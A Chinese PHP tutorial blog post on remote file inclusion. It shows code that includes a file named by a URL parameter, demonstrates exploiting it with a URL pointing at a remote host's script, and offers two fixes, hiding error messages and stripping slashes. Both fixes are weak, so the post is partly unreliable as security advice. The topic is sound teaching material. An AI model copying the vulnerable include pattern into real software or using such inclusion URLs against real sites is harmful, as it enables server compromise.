PHP 网络开发详解之远程文件包含漏洞


Posted in PHP onApril 25, 2010

以下代码(Code)实现了根据浏览器地址栏参数的文件名称包含不同文件的功能。

<?php 
$file_name = $_GET["filename"]; //获得当前文件名 
include("$file_name "); //包含文件 
//一些其他操作 
?>

这时,通过在地址栏上指定不同的文件名就可以实现包含不同文件并执行的功能。例如,通过在浏览器上访问http://localhost/test.php?filename=myinc.php就可以在代码(Code)中包含并执行myinc.php文件。
由于上面的代码(Code)没有进行任何错误处理,在浏览器上不加参数运行,所以将得到以下运行结果。
Warning: include(.php) [function.include]: failed to open stream: No such file or directory in C:\Program Files\xampp\htdocs\Bugs\test6.php on line 3
Warning: include() [function.include]: Failed opening '.php' for inclusion (include_path='.;C:\Program Files\xampp\php\pear\') in C:\Program Files\xampp\htdocs\Bugs\test6.php on line 3
访问者通过读取这段错误信息,可以得知当前的操作是一个文件包含操作。这时,可以在自己的服务器上放置一个相应的脚本代码。需要注意的是PHP在获取远程文件时获得的是远程服务器的最终输出结果,而不是文件本身。该脚本代码位于192.168.0.1服务器上,文件名为hello.txt,脚本代码(Code)如下所示。
<?php 
echo "hello world!"; 
?>

这时,通过在浏览器中访问http://localhost/test.php?filename=http://192.168.0.1/hello.txt就可以运行hello.txt中的脚本了。
为了解决这个问题,一种方式是完善代码的错误信息,使访问者无法知道当前脚本正在包含参数中指定的文件。修改后的代码(Code)如下所示。
<?php 
$file_name = $_GET["filename"]; //获得当前文件名 
if(!@include("$file_name.php")) //包含文件 
{ 
die("页面在浏览过程中出现错误"); 
} 
//一些其他操作 
?>

修改后,如果在被包含的文件无法找到时将出现“页面在浏览过程中出现错误”的错误信息,访问者将无法获得当前页面的具体操作信息。
第二种方式可以更加有效地防止远程文件包含攻击。方式是替换地址栏参数中的斜线“/”。这样,在地址栏参数中输入远程文件地址时,代码将无法正确地获得参数。修改后的代码(Code)如下所示。
<?php 
$file_name = str_replace('/', '', $_GET["filename"]); //获得当前文件名 
if(!@include("$file_name.php")) //包含文件 
{ 
die("页面在浏览过程中出现错误"); 
} 
//一些其他操作 
?>

这样,在浏览器中访问http://localhost/test.php?filename=http://192.168.0.1/hello.txt 时,实际上PHP代码(Code)获得的包含文件名称是http:192.168.0.1bugstest6_test。页面将不会包含远程文件,并显示相应的错误信息。
PHP 相关文章推荐
一篇有意思的技术文章php介绍篇
Oct 26 PHP
PHP防CC攻击实现代码
Dec 29 PHP
php提示Call-time pass-by-reference has been deprecated in的解决方法[已测]
May 06 PHP
php中的boolean(布尔)类型详解
Oct 28 PHP
CodeIgniter基本配置详细介绍
Nov 12 PHP
PHP对象递归引用造成内存泄漏分析
Aug 28 PHP
php数组去除空值函数分享
Feb 02 PHP
PHP生成指定随机字符串的简单实现方法
Apr 01 PHP
PHP实现操作redis的封装类完整实例
Nov 14 PHP
PHP转换文本框内容为HTML格式的方法
Jul 20 PHP
PHP+JS实现的商品秒杀倒计时用法示例
Nov 15 PHP
php使用fputcsv实现大数据的导出操作详解
Feb 27 PHP
php快速url重写更新版[需php 5.30以上]
Apr 25 #PHP
PHP CURL模拟GET及POST函数代码
Apr 25 #PHP
php file_get_contents函数轻松采集html数据
Apr 22 #PHP
国外比较好的几个的Php开源建站平台小结
Apr 22 #PHP
PHP最常用的ini函数分析 针对PHP.ini配置文件
Apr 22 #PHP
php allow_url_include的应用和解释
Apr 22 #PHP
php strcmp使用说明
Apr 22 #PHP
You might like
php中文字母数字验证码实现代码
2008/04/25 PHP
PHP获取用户客户端真实IP的解决方案
2016/10/10 PHP
PHP 根据key 给二维数组分组
2016/12/09 PHP
PHP实现十进制、二进制、八进制和十六进制转换相关函数用法分析
2017/04/25 PHP
yii2.0整合阿里云oss的示例代码
2017/09/19 PHP
Laravel框架下的Contracts契约详解
2020/03/17 PHP
浅谈PHP之ThinkPHP框架使用详解
2020/07/21 PHP
9个javascript语法高亮插件 推荐
2009/07/18 Javascript
20款效果非常棒的 jQuery 插件小结分享
2011/11/18 Javascript
Javascript 加载和执行-性能提高篇
2012/12/28 Javascript
JavaScript实现x秒后自动跳转到一个页面
2013/01/03 Javascript
关闭浏览器输入框自动补齐 兼容IE,FF,Chrome等主流浏览器
2014/02/11 Javascript
jQuery插件jquery-barcode实现条码打印的方法
2015/11/25 Javascript
详解javascript事件冒泡
2016/01/09 Javascript
JavaScript常用判断写法大全(推荐)
2016/05/30 Javascript
在Javascript操作JSON对象,增加 删除 修改的简单实现
2016/06/02 Javascript
详解vue-router 2.0 常用基础知识点之导航钩子
2017/05/10 Javascript
JavaScript实现为事件句柄绑定监听函数的方法分析
2017/11/14 Javascript
解决vue打包css文件中背景图片的路径问题
2018/09/03 Javascript
详解vuex之store拆分即多模块状态管理(modules)篇
2018/11/13 Javascript
Vue脚手架编写试卷页面功能
2020/03/17 Javascript
[49:21]2018DOTA2亚洲邀请赛3月30日 小组赛B组 Effect VS iG
2018/03/31 DOTA
Python中一些自然语言工具的使用的入门教程
2015/04/13 Python
快速入手Python字符编码
2016/08/03 Python
Python反射的用法实例分析
2018/02/11 Python
python入门教程 python入门神图一张
2018/03/05 Python
对python中的float除法和整除法的实例详解
2019/07/20 Python
Python程序控制语句用法实例分析
2020/01/14 Python
Python numpy多维数组实现原理详解
2020/03/10 Python
Sephora丝芙兰印尼官方网站:购买化妆品和护肤品
2018/07/02 全球购物
物业客服专员岗位职责
2013/11/30 职场文书
普通员工辞职信
2014/01/17 职场文书
四年级数学教学反思
2014/02/02 职场文书
2014年度个人工作总结范文
2015/03/09 职场文书
美容院员工规章制度
2015/08/05 职场文书
Win11无法访问设备和打印机 如何解决页面空白
2022/04/09 数码科技